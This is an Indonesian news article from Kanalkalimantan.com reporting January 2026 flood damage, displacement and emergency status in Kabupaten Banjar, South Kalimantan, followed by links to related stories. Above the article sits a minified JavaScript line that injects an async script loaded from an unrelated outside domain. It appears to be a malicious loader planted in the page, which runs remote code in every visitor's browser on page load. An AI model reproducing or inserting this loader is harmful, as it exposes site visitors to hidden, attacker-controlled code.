(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Banjir masih mengepung sebagian wilayah Kabupaten Banjar, Provinsi Kalimantan Selatan. Genangan air dilaporkan masih terjadi pada 7 kecamatan dari 20 kecamatan yang berada di Kabupaten Banjar, dengan dampak yang cukup signifikan terhadap permukiman, fasilitas umum, hingga aktivitas warga.
Data Pusat Pengendalian Operasi (Pusdalops) BPBD Kabupaten Banjar per Sabtu 3 Januari 2026 sore, banjir telah berdampak pada 7 kecamatan dengan total 115 desa dan kelurahan terdampak.
Sekadar diketahui, Pemerintah Kabupaten Banjar memperpanjang status tanggap darurat dari 4 Januari hingga 14 Januari 2026.
Baca juga: Mensos RI Tinjau Posko Pengungsian Banjir di Sungaitabuk
Ada 114.727 jiwa atau 40.532 kepala keluarga tercatat merasakan langsung dampak banjir yang terjadi sejak sepekan lebih.
Sebaran genangan air paling luas terjadi di Kecamatan Astambul dengan 22 desa terdampak. Disusul Kecamatan Martapura dan Kecamatan Martapura Timur yang masing-masing mencatat 20 desa terdampak banjir.
Sementara di Kecamatan Martapura Barat ada 13 desa yang mengalami genangan.
Di wilayah lain di Kabupaten Banjar, banjir masih terjadi pada 10 desa di Kecamatan Sungaitabuk, 10 desa di Kecamatan Kertakhanyar, serta 9 desa di Kecamatan Cintapuri Darussalam.
Baca juga: Puncak Banjir Rob di Banjarmasin Diprediksi Malam Ini
Pusdalops BPBD Kabupaten Banjar mencatat sebanyak 22.803 buah rumah warga terdampak, dengan 11.611 rumah di antaranya terendam air.
Kondisi banjir yang masih belum surut itu membuat sebagian warga terpaksa membatasi aktivitas, bahkan meninggalkan rumah tinggal mereka mencari tempat yang lebih aman.
Masih dari data Pusdalops BPBD Banjar tercatat 4.734 jiwa mengungsi yang tersebar pada 17 titik pengungsian, mulai dari aula dinas, madrasah, gedung eks Puskesmas, dan rumah warga yang dinilai lebih aman dari genangan.
Baca juga: Terdampak Banjir, Pembelajaran 210 Sekolah di Kabupaten Banjar Dialihkan ke PJJ
Terdapat 322 ibu hamil, 608 bayi, 1.809 balita, 2.526 anak-anak, 325 penyandang disabilitas, serta 3.187 lansia yang berada di wilayah terdampak banjir.
Dampak banjir tidak hanya dirasakan pada sektor permukiman, tetapi turut merendam dan mengganggu 139 sekolah, 128 tempat ibadah, 17 kantor, 96 fasilitas umum, serta 20 jembatan. Tak hanya itu, sekitar 3.451 hektare kebun dan sawah terdampak.
Masyarakat di wilayah rawan banjir diimbau tetap waspada terhadap potensi kenaikan debit air, terutama saat hujan dengan intensitas tinggi, serta segera melaporkan kondisi darurat melalui aparat setempat atau layanan kebencanaan. (Kanalkalimantan.com/kk)
Reporter: kk
Editor: bie
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menyalurkan bantuan kemanusiaan bagi masyarakat terdampak bencana banjir… Read More
KANALKALIMANTAN.COM, JAKARTA — PT Hyundai Motors Indonesia (HMID) memulai gebrakan di awal tahun dengan meluncurkan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Dinas Sosial Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk dan Keluarga Berencana (Dinsos… Read More
KANALKALIMANTAN.COM, BANJARBARU – Gubernur Kalimantan Selatan H Muhidin melantik 11 pejabat pimpinan tinggi pratama lingkup… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo menghadiri Rapat Paripurna Ke-10 Masa Persidangan III… Read More
KANALKALIMANTAN.COM, MARTAPURA – Selama sepekan lebih, warga Desa Sungaitabuk Keramat, Kecamatan Sungai Tabuk, Kabupaten Banjar,… Read More
This website uses cookies.